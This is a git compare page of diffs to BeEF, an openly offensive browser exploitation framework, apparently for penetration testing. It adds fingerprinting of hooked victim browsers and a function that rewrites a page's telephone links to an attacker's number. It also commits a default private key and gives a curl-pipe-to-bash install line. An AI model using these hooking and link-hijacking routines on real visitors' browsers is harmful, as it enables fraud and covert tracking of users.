Compare commits
172 Commits
beef-0.4.3
...
beef-0.4.3
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
69c59bb427 | ||
|
|
4218f44203 | ||
|
|
384fe7bcab | ||
|
|
8625452751 | ||
|
|
0dd06d6ecb | ||
|
|
5fc56a9dfa | ||
|
|
6ac074d2b0 | ||
|
|
b3ae5f1016 | ||
|
|
64ba4686f4 | ||
|
|
2f5fc46a8e | ||
|
|
45b839d970 | ||
|
|
085f2775f3 | ||
|
|
716e7fe712 | ||
|
|
05d7fe3adf | ||
|
|
931aeb6ee5 | ||
|
|
31387a0aa6 | ||
|
|
d881852216 | ||
|
|
ed9b1d5c2e | ||
|
|
ae72f9fedf | ||
|
|
ab588c0f68 | ||
|
|
8eb0e2d973 | ||
|
|
01ea6e4a04 | ||
|
|
9b1cae6790 | ||
|
|
6b5302ef21 | ||
|
|
a6a9af8483 | ||
|
|
9ea0f60138 | ||
|
|
6409b3d98f | ||
|
|
26c7696e0f | ||
|
|
0260181d33 | ||
|
|
20d2e17232 | ||
|
|
92b2382e25 | ||
|
|
e86712413c | ||
|
|
788cef08d3 | ||
|
|
ffbd3d65b9 | ||
|
|
df056fb688 | ||
|
|
26c86951a4 | ||
|
|
558ca03ef6 | ||
|
|
42c348f3f2 | ||
|
|
b6c12fd0f3 | ||
|
|
57f68725bc | ||
|
|
50e7a1c206 | ||
|
|
5400696c40 | ||
|
|
7ed9516b53 | ||
|
|
aeb17e7d7a | ||
|
|
7c26ac6a1e | ||
|
|
f852ca26cb | ||
|
|
5a9a050c1c | ||
|
|
ad2bc95cf0 | ||
|
|
f2d4a88810 | ||
|
|
6897962803 | ||
|
|
8c43fffb36 | ||
|
|
93bb25aa0b | ||
|
|
5697eac123 | ||
|
|
ea89b0ca64 | ||
|
|
dfe61f3a17 | ||
|
|
b3b3ae828b | ||
|
|
1f88bb4cc3 | ||
|
|
b58e9b955e | ||
|
|
56db0c35fe | ||
|
|
6b126744c3 | ||
|
|
2ad1ba4fbf | ||
|
|
3504946636 | ||
|
|
26ab3be0b8 | ||
|
|
0cec6b87a8 | ||
|
|
192eb9706d | ||
|
|
bd4b28ae3c | ||
|
|
1d3ea4d10c | ||
|
|
45c9f674e4 | ||
|
|
73fc960333 | ||
|
|
82dc6fee0d | ||
|
|
1a6bf75d57 | ||
|
|
707759950d | ||
|
|
c2a2135046 | ||
|
|
560aa7f610 | ||
|
|
7c7103b685 | ||
|
|
e299045539 | ||
|
|
83f29505a5 | ||
|
|
fac1ff45ca | ||
|
|
a4e74aaad0 | ||
|
|
1226ed4b34 | ||
|
|
9b9e74967b | ||
|
|
b7a4314424 | ||
|
|
701d634f4f | ||
|
|
d5606c9bf4 | ||
|
|
71fb6ae089 | ||
|
|
2b8a389da1 | ||
|
|
34a2f86877 | ||
|
|
6139da2161 | ||
|
|
6342fdad77 | ||
|
|
1defa2dbc2 | ||
|
|
6188fe4be9 | ||
|
|
6ade1469bb | ||
|
|
bfa2e6dbf7 | ||
|
|
8e2f0e9a44 | ||
|
|
ac05f24b64 | ||
|
|
5a2b29bab4 | ||
|
|
be71984362 | ||
|
|
dd43da5e51 | ||
|
|
69c883568f | ||
|
|
6dbf64cfa7 | ||
|
|
7f0026fc79 | ||
|
|
40f7145531 | ||
|
|
d8adf26827 | ||
|
|
c380ca75ed | ||
|
|
9d2022531c | ||
|
|
4d262d6d19 | ||
|
|
bd6065eff9 | ||
|
|
5d47739c71 | ||
|
|
3aadf6fa75 | ||
|
|
b784710ca9 | ||
|
|
fa569fa3e7 | ||
|
|
3784cc4e37 | ||
|
|
f34443ef46 | ||
|
|
9fdd8bc819 | ||
|
|
29ba7dbf38 | ||
|
|
b7126c2fe3 | ||
|
|
e6ce3adba5 | ||
|
|
e54ec1e569 | ||
|
|
b89ff04930 | ||
|
|
2ef1492eed | ||
|
|
cc29a4434f | ||
|
|
6a4f2ac6be | ||
|
|
17f5689bf8 | ||
|
|
1e0f83d23f | ||
|
|
727c746303 | ||
|
|
3b72f43ad4 | ||
|
|
473f71e42d | ||
|
|
4432a9e468 | ||
|
|
7686d55b4b | ||
|
|
8b17643fdc | ||
|
|
8d8a0ca9e9 | ||
|
|
4f6d07bced | ||
|
|
123b81b2b4 | ||
|
|
d5acc6409e | ||
|
|
286d0a18fb | ||
|
|
268ef4588f | ||
|
|
9440afacc9 | ||
|
|
7fde875d8a | ||
|
|
ebe205ad36 | ||
|
|
71133869e4 | ||
|
|
90462c32b8 | ||
|
|
1bf9061c1a | ||
|
|
2cb40530de | ||
|
|
771d6d60f9 | ||
|
|
40f8b528aa | ||
|
|
aefc693548 | ||
|
|
853b4c5bcb | ||
|
|
49b85201d0 | ||
|
|
900942f59c | ||
|
|
c4e0ce17c4 | ||
|
|
0a34150cf7 | ||
|
|
aa8e073494 | ||
|
|
616d427a05 | ||
|
|
37e42b50d0 | ||
|
|
dae01474ab | ||
|
|
ece65e9841 | ||
|
|
cb9125eb1a | ||
|
|
29d576b2e7 | ||
|
|
3accb24b2b | ||
|
|
27ed3ac2da | ||
|
|
32c332c965 | ||
|
|
99c6a819f3 | ||
|
|
3430de2a03 | ||
|
|
6f3298235f | ||
|
|
b02b96791a | ||
|
|
475cc4e40d | ||
|
|
dbae1f60dd | ||
|
|
6396f7aa5a | ||
|
|
ac258f654d | ||
|
|
6063e6246d | ||
|
|
41e64568e8 | ||
|
|
f622171eef |
3
.gitignore
vendored
@@ -1,3 +1,4 @@
|
||||
beef.db
|
||||
test/msf-test
|
||||
custom-config.yaml
|
||||
custom-config.yaml
|
||||
extensions/social_engineering/web_cloner/cloned_pages
|
||||
3
Gemfile
@@ -39,6 +39,9 @@ gem "erubis"
|
||||
gem "dm-migrations"
|
||||
gem "msfrpc-client"
|
||||
|
||||
# notifications
|
||||
gem "twitter"
|
||||
|
||||
if ENV['BEEF_TEST']
|
||||
# for running unit tests
|
||||
gem "test-unit"
|
||||
|
||||
@@ -72,7 +72,7 @@ __The following is for the impatient.__
|
||||
|
||||
For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
|
||||
|
||||
$ bash -s stable < <(curl -s https://raw.github.com/beefproject/beef/a6a7536e736e7788e12df91756a8f132ced24970/install-beef)
|
||||
$ curl https://raw.github.com/beefproject/beef/a6a7536e/install-beef | bash -s stable
|
||||
|
||||
|
||||
Usage
|
||||
|
||||
2
VERSION
@@ -14,4 +14,4 @@
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
0.4.3.5-alpha
|
||||
0.4.3.7-alpha
|
||||
|
||||
11
beef
@@ -81,7 +81,7 @@ Socket.do_not_reverse_lookup = true
|
||||
case config.get("beef.database.driver")
|
||||
when "sqlite"
|
||||
DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("beef.database.db_file")}")
|
||||
when "mysql","postgres"
|
||||
when "mysql", "postgres"
|
||||
DataMapper.setup(:default,
|
||||
:adapter => config.get("beef.database.driver"),
|
||||
:host => config.get("beef.database.db_host"),
|
||||
@@ -124,12 +124,13 @@ print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}"
|
||||
#@note Starts the WebSocket server
|
||||
if config.get("beef.http.websocket.enable")
|
||||
BeEF::Core::Websocket::Websocket.instance
|
||||
print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port").to_i}], secure [#{config.get("beef.http.websocket.secure")}], timer [#{config.get("beef.http.websocket.alive_timer")}]"
|
||||
print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port").to_i}], timer [#{config.get("beef.http.websocket.alive_timer")}]"
|
||||
if config.get("beef.http.websocket.secure")
|
||||
print_info "Starting WebSocketSecure server on port [#{config.get("beef.http.websocket.secure_port").to_i}], timer [#{config.get("beef.http.websocket.alive_timer")}]"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
# @note Call the API method 'pre_http_start'
|
||||
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)
|
||||
|
||||
@@ -140,7 +141,7 @@ if config.get("beef.extension.console.shell.enable") == true
|
||||
begin
|
||||
FileUtils.mkdir_p(File.expand_path(config.get("beef.extension.console.shell.historyfolder")))
|
||||
BeEF::Extension::Console::Shell.new(BeEF::Extension::Console::Shell::DefaultPrompt,
|
||||
BeEF::Extension::Console::Shell::DefaultPromptChar,{'config' => config, 'http_hook_server' => http_hook_server}).run
|
||||
BeEF::Extension::Console::Shell::DefaultPromptChar, {'config' => config, 'http_hook_server' => http_hook_server}).run
|
||||
rescue Interrupt
|
||||
end
|
||||
else
|
||||
|
||||
19
beef_cert.pem
Normal file
@@ -0,0 +1,19 @@
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIDDjCCAnegAwIBAgIJAKNYRH/AaB3DMA0GCSqGSIb3DQEBBQUAMIGfMQswCQYD
|
||||
VQQGEwJBVTEUMBIGA1UECAwLQm92aW5lIExhbmQxDTALBgNVBAcMBEJlRUYxDTAL
|
||||
BgNVBAoMBEJlRUYxDTALBgNVBAsMBEJlRUYxJzAlBgNVBAMMHkJyb3dzZXIgRXhw
|
||||
bG9pdGF0aW9uIEZyYW1ld29yazEkMCIGCSqGSIb3DQEJARYVQmVFRkBkb250d3Jp
|
||||
dGVtZS5CZUVGMB4XDTEyMDgwNjEzMDUzOFoXDTEzMDgwNjEzMDUzOFowgZ8xCzAJ
|
||||
BgNVBAYTAkFVMRQwEgYDVQQIDAtCb3ZpbmUgTGFuZDENMAsGA1UEBwwEQmVFRjEN
|
||||
MAsGA1UECgwEQmVFRjENMAsGA1UECwwEQmVFRjEnMCUGA1UEAwweQnJvd3NlciBF
|
||||
eHBsb2l0YXRpb24gRnJhbWV3b3JrMSQwIgYJKoZIhvcNAQkBFhVCZUVGQGRvbnR3
|
||||
cml0ZW1lLkJlRUYwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBALCxzu+rOTt2
|
||||
VBM5X5KL2xpDvMJ7wT0BSVgbkEF9Pd3+h3NbB/LST0n+Mwtnk4wLzmjmNiob3EdP
|
||||
0l+pKgIZYT8yHMvI3pwp0hmpE3D2bALyiQTOTjF0IhUeIYa9ZhEyeN+PgA6+Hs0Z
|
||||
F/0y0El2XjkPF42Dnmp9mLTSfScv1v4xAgMBAAGjUDBOMB0GA1UdDgQWBBTaXny0
|
||||
kTye7CAr0ronsg0ob63+kTAfBgNVHSMEGDAWgBTaXny0kTye7CAr0ronsg0ob63+
|
||||
kTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4GBABTy5s/XRd6iBwxOgV6N
|
||||
B+cTRgmgHciujbI+0p4TkOkHvQPhhcD3207ndWWwv+Mc2XeQcXNaOfYUDkeCs64N
|
||||
JffqThykYOdagvCu1Gecw9BEKeijS9MAuNvtvP7fcUNUql+VeTFbxMBPGDhusafz
|
||||
GkY0IBg9+j6XX4JwEXxCGt0a
|
||||
-----END CERTIFICATE-----
|
||||
16
beef_key.pem
Normal file
@@ -0,0 +1,16 @@
|
||||
-----BEGIN PRIVATE KEY-----
|
||||
MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALCxzu+rOTt2VBM5
|
||||
X5KL2xpDvMJ7wT0BSVgbkEF9Pd3+h3NbB/LST0n+Mwtnk4wLzmjmNiob3EdP0l+p
|
||||
KgIZYT8yHMvI3pwp0hmpE3D2bALyiQTOTjF0IhUeIYa9ZhEyeN+PgA6+Hs0ZF/0y
|
||||
0El2XjkPF42Dnmp9mLTSfScv1v4xAgMBAAECgYAKpDrNTmedACxiGAN8hPXGKCw3
|
||||
HlLuBKTRLJ/Mgel29DxeIy5gXnAuCaQzXKKTPabJxIugj5r9pH4MCtkf1T15Aib6
|
||||
4MFdx4UegllMUo7eUiuCtSmK9s0wEtJjShujBl4qQ10ZtWUh4Vd/clS88IjM/iPI
|
||||
5Ocoph5PUgFt/tX7DQJBAOkGptgdri39bRiSGaR/Si6YYpmMUFoQt+s2id8yH9QS
|
||||
26o8cHZKCahSiWLNi4rSzEJIOpXnP3n+Dcq2JttDWGcCQQDCHWgWSpdnX8uqp/Qo
|
||||
yp0RZJwyBFoba4bWhzoQJj+39P0+4FBaMlZyLHZ7nd4z0JiE5S3qA9xi8zjQVrrI
|
||||
rTWnAkEAmpPxBZfavWNJhW0VWYue1/36GkV73+MLPhq1pruHZZUE5o6lQ7KlaWUn
|
||||
AcW79WEUYjursVjvQKuI1pmyeOzZrQJBAIGQHSxbxyjBgPA8QDSF4EZ+r96Wlwoc
|
||||
QBiqk6+5x+fiBrJUCG3bkWWNldu2qFxPS63QRlAfGZeWHgK5ENzm95sCQQCe81hU
|
||||
WaVM9bmt0ZvfhfQXfgvf3xKNUFemd4skTMUDgNCH1OFULB/Mz16kJDdy0q0qUS88
|
||||
yBgay+U9QuoEO425
|
||||
-----END PRIVATE KEY-----
|
||||
35
config.yaml
@@ -16,16 +16,16 @@
|
||||
# BeEF Configuration file
|
||||
|
||||
beef:
|
||||
version: '0.4.3.5-alpha'
|
||||
version: '0.4.3.7-alpha'
|
||||
debug: false
|
||||
|
||||
restrictions:
|
||||
# subnet of browser ip addresses that can hook to the framework
|
||||
# subnet of browser ip addresses that can hook to the framework
|
||||
permitted_hooking_subnet: "0.0.0.0/0"
|
||||
# subnet of browser ip addresses that can connect to the UI
|
||||
# subnet of browser ip addresses that can connect to the UI
|
||||
# permitted_ui_subnet: "127.0.0.1/32"
|
||||
permitted_ui_subnet: "0.0.0.0/0"
|
||||
|
||||
|
||||
http:
|
||||
debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
|
||||
host: "0.0.0.0"
|
||||
@@ -42,8 +42,9 @@ beef:
|
||||
# Prefer WebSockets over XHR-polling when possible.
|
||||
websocket:
|
||||
enable: false
|
||||
secure: false # use WebSocketSecure
|
||||
port: 11989
|
||||
secure: true # use WebSocketSecure work only on https domain and whit https support enabled in BeEF
|
||||
port: 61985 # WS: good success rate through proxies
|
||||
secure_port: 61986 # WSS
|
||||
alive_timer: 1000 # poll BeEF every second
|
||||
|
||||
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
|
||||
@@ -51,6 +52,14 @@ beef:
|
||||
enable: false
|
||||
type: "apache" #supported: apache, iis
|
||||
|
||||
# Experimental HTTPS support for the hook / admin / all other Thin managed web services
|
||||
https:
|
||||
enable: false
|
||||
# In production environments, be sure to use a valid certificate signed for the value
|
||||
# used in beef.http.dns (the domain name of the server where you run BeEF)
|
||||
key: "beef_key.pem"
|
||||
cert: "beef_cert.pem"
|
||||
|
||||
database:
|
||||
# For information on using other databases please read the
|
||||
# README.databases file
|
||||
@@ -60,7 +69,7 @@ beef:
|
||||
|
||||
# db_file is only used for sqlite
|
||||
db_file: "beef.db"
|
||||
|
||||
|
||||
# db connection information is only used for mysql/postgres
|
||||
db_host: "localhost"
|
||||
db_name: "beef"
|
||||
@@ -78,13 +87,15 @@ beef:
|
||||
# You may override default extension configuration parameters here
|
||||
extension:
|
||||
requester:
|
||||
enable: true
|
||||
enable: true
|
||||
proxy:
|
||||
enable: true
|
||||
enable: true
|
||||
metasploit:
|
||||
enable: false
|
||||
console:
|
||||
shell:
|
||||
enable: false
|
||||
social_engineering:
|
||||
enable: false
|
||||
evasion:
|
||||
enable: false
|
||||
console:
|
||||
shell:
|
||||
enable: false
|
||||
|
||||
@@ -34,6 +34,7 @@ require 'core/main/constants/browsers'
|
||||
require 'core/main/constants/commandmodule'
|
||||
require 'core/main/constants/distributedengine'
|
||||
require 'core/main/constants/os'
|
||||
require 'core/main/constants/hardware'
|
||||
|
||||
# @note Include core modules for beef
|
||||
require 'core/main/configuration'
|
||||
|
||||
@@ -47,6 +47,16 @@ module Filters
|
||||
true
|
||||
end
|
||||
|
||||
# Check the Hardware name value - for example, 'iPhone'
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid Hardware name characters
|
||||
def self.is_valid_hwname?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length < 2
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the browser version string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid browser version characters
|
||||
|
||||
25
core/main/client/are.js
Normal file
@@ -0,0 +1,25 @@
|
||||
//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//
|
||||
beef.are = {
|
||||
init:function(){
|
||||
var Jools = require('jools');
|
||||
this.ruleEngine = new Jools();
|
||||
},
|
||||
rules:[],
|
||||
commands:[],
|
||||
results:[]
|
||||
};
|
||||
beef.regCmp("beef.are");
|
||||
@@ -180,12 +180,28 @@ beef.browser = {
|
||||
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/13\./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF14
|
||||
* @example: beef.browser.isFF14()
|
||||
*/
|
||||
isFF14: function() {
|
||||
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/14\./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF15
|
||||
* @example: beef.browser.isFF15()
|
||||
*/
|
||||
isFF15: function() {
|
||||
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/15\./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF.
|
||||
* @example: beef.browser.isFF()
|
||||
*/
|
||||
isFF: function() {
|
||||
return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13();
|
||||
return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15();
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -203,13 +219,21 @@ beef.browser = {
|
||||
isS5: function() {
|
||||
return (window.navigator.userAgent.match(/ Version\/5\.\d/) != null && window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Safari 6.xx
|
||||
* @example: beef.browser.isS6()
|
||||
*/
|
||||
isS6: function() {
|
||||
return (window.navigator.userAgent.match(/ Version\/6\.\d/) != null && window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Safari.
|
||||
* @example: beef.browser.isS()
|
||||
*/
|
||||
isS: function() {
|
||||
return this.isS4() || this.isS5() || (!window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome);
|
||||
return this.isS4() || this.isS5() || this.isS6() || (!window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome);
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -332,12 +356,28 @@ beef.browser = {
|
||||
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==19)?true:false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 20.
|
||||
* @example: beef.browser.isC20()
|
||||
*/
|
||||
isC20: function() {
|
||||
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==20)?true:false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 21.
|
||||
* @example: beef.browser.isC21()
|
||||
*/
|
||||
isC21: function() {
|
||||
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==21)?true:false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome.
|
||||
* @example: beef.browser.isC()
|
||||
*/
|
||||
isC: function() {
|
||||
return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16()|| this.isC17() || this.isC18() || this.isC19();
|
||||
return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16()|| this.isC17() || this.isC18() || this.isC19() || this.isC20() || this.isC21();
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -372,12 +412,20 @@ beef.browser = {
|
||||
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null));
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Opera 12.xx.
|
||||
* @example: beef.browser.isO12()
|
||||
*/
|
||||
isO12: function() {
|
||||
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/12\./) != null));
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Opera.
|
||||
* @example: beef.browser.isO()
|
||||
*/
|
||||
isO: function() {
|
||||
return this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11();
|
||||
return this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12();
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -404,6 +452,8 @@ beef.browser = {
|
||||
C17: this.isC17(), // Chrome 17
|
||||
C18: this.isC18(), // Chrome 18
|
||||
C19: this.isC19(), // Chrome 19
|
||||
C20: this.isC20(), // Chrome 20
|
||||
C21: this.isC21(), // Chrome 21
|
||||
C: this.isC(), // Chrome any version
|
||||
|
||||
FF2: this.isFF2(), // Firefox 2
|
||||
@@ -420,6 +470,8 @@ beef.browser = {
|
||||
FF11: this.isFF11(), // Firefox 11
|
||||
FF12: this.isFF12(), // Firefox 12
|
||||
FF13: this.isFF13(), // Firefox 13
|
||||
FF14: this.isFF14(), // Firefox 14
|
||||
FF15: this.isFF15(), // Firefox 15
|
||||
FF: this.isFF(), // Firefox any version
|
||||
|
||||
IE6: this.isIE6(), // Internet Explorer 6
|
||||
@@ -432,10 +484,12 @@ beef.browser = {
|
||||
O9_60: this.isO9_60(), // Opera 9.60 through 9.64
|
||||
O10: this.isO10(), // Opera 10.xx
|
||||
O11: this.isO11(), // Opera 11.xx
|
||||
O12: this.isO12(), // Opera 11.xx
|
||||
O: this.isO(), // Opera any version
|
||||
|
||||
S4: this.isS4(), // Safari 4.xx
|
||||
S5: this.isS5(), // Safari 5.xx
|
||||
S6: this.isS6(), // Safari 6.x
|
||||
S: this.isS() // Safari any version
|
||||
}
|
||||
},
|
||||
@@ -463,8 +517,10 @@ beef.browser = {
|
||||
if (this.isC17()) { return '17' }; // Chrome 17
|
||||
if (this.isC18()) { return '18' }; // Chrome 18
|
||||
if (this.isC19()) { return '19' }; // Chrome 19
|
||||
if (this.isC20()) { return '20' }; // Chrome 20
|
||||
if (this.isC21()) { return '21' }; // Chrome 21
|
||||
|
||||
if (this.isFF2()) { return '2' }; // Firefox 2
|
||||
if (this.isFF2()) { return '2' }; // Firefox 2
|
||||
if (this.isFF3()) { return '3' }; // Firefox 3
|
||||
if (this.isFF3_5()) { return '3.5'}; // Firefox 3.5
|
||||
if (this.isFF3_6()) { return '3.6'}; // Firefox 3.6
|
||||
@@ -478,6 +534,8 @@ beef.browser = {
|
||||
if (this.isFF11()) { return '11' }; // Firefox 11
|
||||
if (this.isFF12()) { return '12' }; // Firefox 12
|
||||
if (this.isFF13()) { return '13' }; // Firefox 13
|
||||
if (this.isFF14()) { return '14' }; // Firefox 14
|
||||
if (this.isFF15()) { return '15' }; // Firefox 15
|
||||
|
||||
if (this.isIE6()) { return '6' }; // Internet Explorer 6
|
||||
if (this.isIE7()) { return '7' }; // Internet Explorer 7
|
||||
@@ -486,11 +544,13 @@ beef.browser = {
|
||||
|
||||
if (this.isS4()) { return '4' }; // Safari 4
|
||||
if (this.isS5()) { return '5' }; // Safari 5
|
||||
if (this.isS6()) { return '6' }; // Safari 5
|
||||
|
||||
if (this.isO9_52()) { return '9.5'}; // Opera 9.5x
|
||||
if (this.isO9_52()) { return '9.5'}; // Opera 9.5x
|
||||
if (this.isO9_60()) { return '9.6'}; // Opera 9.6
|
||||
if (this.isO10()) { return '10' }; // Opera 10.xx
|
||||
if (this.isO11()) { return '11' }; // Opera 11.xx
|
||||
if (this.isO12()) { return '12' }; // Opera 12.xx
|
||||
|
||||
return 'UNKNOWN'; // Unknown UA
|
||||
},
|
||||
@@ -551,6 +611,34 @@ beef.browser = {
|
||||
|
||||
},
|
||||
|
||||
/**
|
||||
* Checks if the Phonegap API is available from the hooked domain.
|
||||
* @return: {Boolean} true or false.
|
||||
*
|
||||
* @example: if(beef.browser.hasPhonegap()) { ... }
|
||||
*/
|
||||
hasPhonegap: function() {
|
||||
var result = false;
|
||||
try { if (!!device.phonegap) result = true; else result = false; }
|
||||
catch(e) { result = false; }
|
||||
return result;
|
||||
},
|
||||
|
||||
/**
|
||||
* Checks if the browser supports CORS
|
||||
* @return: {Boolean} true or false.
|
||||
*
|
||||
* @example: if(beef.browser.hasCors()) { ... }
|
||||
*/
|
||||
hasCors: function() {
|
||||
if ('withCredentials' in new XMLHttpRequest())
|
||||
return true;
|
||||
else if (typeof XDomainRequest !== "undefined")
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
},
|
||||
|
||||
/**
|
||||
* Checks if the zombie has Java installed and enabled.
|
||||
* @return: {Boolean} true or false.
|
||||
@@ -765,6 +853,7 @@ beef.browser = {
|
||||
var browser_plugins = beef.browser.getPlugins();
|
||||
var date_stamp = new Date().toString();
|
||||
var os_name = beef.os.getName();
|
||||
var hw_name = beef.hardware.getName();
|
||||
var system_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : null;
|
||||
var browser_type = JSON.stringify(beef.browser.type(), function (key, value) {if (value == true) return value; else if (typeof value == 'object') return value; else return;});
|
||||
var screen_size = beef.browser.getScreenSize();
|
||||
@@ -772,6 +861,7 @@ beef.browser = {
|
||||
var java_enabled = (beef.browser.javaEnabled())? "Yes" : "No";
|
||||
var vbscript_enabled=(beef.browser.hasVBScript())? "Yes" : "No";
|
||||
var has_flash = (beef.browser.hasFlash())? "Yes" : "No";
|
||||
var has_phonegap = (beef.browser.hasPhonegap())? "Yes" : "No";
|
||||
var has_googlegears=(beef.browser.hasGoogleGears())? "Yes":"No";
|
||||
var has_web_socket=(beef.browser.hasWebSocket())? "Yes":"No";
|
||||
var has_activex = (typeof(window.ActiveXObject) != "undefined") ? "Yes":"No";
|
||||
@@ -789,6 +879,7 @@ beef.browser = {
|
||||
if(hostport) details["HostPort"] = hostport;
|
||||
if(browser_plugins) details["BrowserPlugins"] = browser_plugins;
|
||||
if(os_name) details['OsName'] = os_name;
|
||||
if(hw_name) details['Hardware'] = hw_name;
|
||||
if(date_stamp) details['DateStamp'] = date_stamp;
|
||||
if(system_platform) details['SystemPlatform'] = system_platform;
|
||||
if(browser_type) details['BrowserType'] = browser_type;
|
||||
@@ -797,6 +888,7 @@ beef.browser = {
|
||||
if(java_enabled) details['JavaEnabled'] = java_enabled;
|
||||
if(vbscript_enabled) details['VBScriptEnabled'] = vbscript_enabled
|
||||
if(has_flash) details['HasFlash'] = has_flash
|
||||
if(has_phonegap) details['HasPhonegap'] = has_phonegap
|
||||
if(has_web_socket) details['HasWebSocket'] = has_web_socket
|
||||
if(has_googlegears) details['HasGoogleGears'] = has_googlegears
|
||||
if(has_activex) details['HasActiveX'] = has_activex;
|
||||
|
||||
@@ -194,6 +194,31 @@ beef.dom = {
|
||||
return count;
|
||||
},
|
||||
|
||||
/**
|
||||
* Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number
|
||||
* @param: {String} new_number: the new link telephone number to be written
|
||||
* @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
|
||||
* @return: {Number} the amount of links found in the DOM and rewritten.
|
||||
*/
|
||||
rewriteTelLinks: function(new_number, selector) {
|
||||
|
||||
var count = 0;
|
||||
var re = new RegExp("tel:/?/?.*", "gi");
|
||||
var sel = (selector == null) ? 'a' : selector;
|
||||
|
||||
$j(sel).each(function() {
|
||||
if ($j(this).attr('href') != null) {
|
||||
var url = $j(this).attr('href');
|
||||
if (url.match(re)) {
|
||||
$j(this).attr('href', url.replace(re, "tel:"+new_number)).click(function() { return true; });
|
||||
count++;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
return count;
|
||||
},
|
||||
|
||||
/**
|
||||
* Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
|
||||
* @params: {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
|
||||
|
||||
91
core/main/client/hardware.js
Normal file
@@ -0,0 +1,91 @@
|
||||
//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
